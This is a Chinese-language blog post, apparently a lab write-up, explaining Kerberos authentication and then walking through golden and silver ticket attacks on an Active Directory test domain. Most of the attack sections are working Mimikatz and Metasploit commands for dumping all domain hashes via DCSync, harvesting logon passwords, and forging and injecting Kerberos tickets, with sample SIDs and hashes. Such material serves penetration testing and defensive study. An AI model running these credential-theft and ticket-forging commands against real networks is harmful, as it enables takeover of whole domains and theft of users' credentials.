域渗透之Kerberos认证和黄金票据
Kerberos认证
介绍
Kerberos是一种计算机网络授权协议,用来在非安全网络中,对个人通信以安全的手段进行身份认证。
这个词又指麻省理工学院为这个协议开发的一套计算机软件。
认证流程
提示:
AS(Authentication Server) 认证服务器
KDC(Key Distribution Center) 密钥分发中心
TGT(Ticket Granting Ticket) 票据授权票据(票据的票据)
TGS(Ticket Granting Server) 票据授权服务器
ACL(Access Control Lists) 访问控制列表
DC(Domain Controller) 域控制器
AD(Active Directory) 活动目录
Client 客户端
Server 服务端
详细流程图
![](https://cdn.nlark.com/yuque/0/2023/jpeg/26108912/1680374455832-b28cda50-0d81-4c95-b535-6e488ec6cf38.jpeg)
黄金票据
原理
在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个 Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。
票据条件:
- 域名称
- 域的 SID 值
- 域的 KRBTGT 账号的 HASH
- 伪造D的任意用户名
实验环境
机器:
12server4
AD01
域名:
redteam.club
Mimikatz
12server4上操作
信息收集
前提域管权限
#导出hash
privilege::debug
lsadump::dcsync /domain:redteam.club /all /csv(lsadump::lsa /inject)
##一条命令
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:redteam.club /all /csv" "exit">hash.txt
制作
#制作黄金票据
mimikatz.exe "kerberos::golden /admin:system /domain:redteam.club /sid:S-1-5-21-2536581826-3274276096-3456299113 /krbtgt:689fe33346a9e9fe229395fb36178ecb /ticket:ticket.kirbi" exit
导入
#清除票据
kerberos::purge
#导入票据
kerberos::ptt C:\Users\ticket.kirbi
Metasploit
12server4上操作
system权限信息收集
#信息收集
load kiwi #导入kiwi模块
##提示:以下需要system权限
creds_all #列举所有凭据
creds_kerberos #列举所有kerberos凭据
kiwi_cmd sekurlsa::logonpasswords #抓密码和hash
域管权限信息收集
#信息收集(需要域管权限)
kiwi_cmd "lsadump::dcsync /domain:redteam.club /user:krbtgt" #krbtgt账户的密码hash值
kerberos_ticket_list #列举kerberos票据
kerberos_ticket_purge #清除kerberos票据
制作及导入
#制作金票
golden_ticket_create -d redteam.club -k 689fe33346a9e9fe229395fb36178ecb -u administrator -s S-1-5-21-2536581826-3274276096-3456299113 -t /home/kali/administrator.ticket
#导入金票
kerberos_ticket_use /home/kali/administrator.ticket
CobaltStrike
AD01上操作
注意
在使用CobaltStrike4.7时,只有在AD上才能抓取到krbtgt的hash,二前两个方式有域管权限就可以
希望可以得到师傅们的指点
12server4:12server4\administrator
和redteam\administrator
均不成功
AD01:redteam\administrator
成功抓取
流程
1.抓取hash
2.shell whoami /all
3.制作金票
白银票据
原理
白银票据就是伪造的ST。 在Kerberos认证的第三部,Client带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。 所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。
票据条件:
- 域名
- 域 SID(就是域成员SID值去掉最后的)
- 目标服务器的 FQDN
- 可利用的服务
- 服务账号的 NTLM Hash
- 需要伪造的用户名
这里就制作一个
mimikatz
12server4上操作
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> password.txt
cifs
#命令格式
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLMHash> /user:<伪造的用户名> /ptt
#示例
kerberos::golden /domain:redteam.club /sid:S-1-5-21-2536581826-3274276096-3456299113 /target:OWA2010CN-God.god.org /rc4:689fe33346a9e9fe229395fb36178ecb /service:cifs /user:admin /ptt
- 点赞
- 收藏
- 关注作者
评论(0)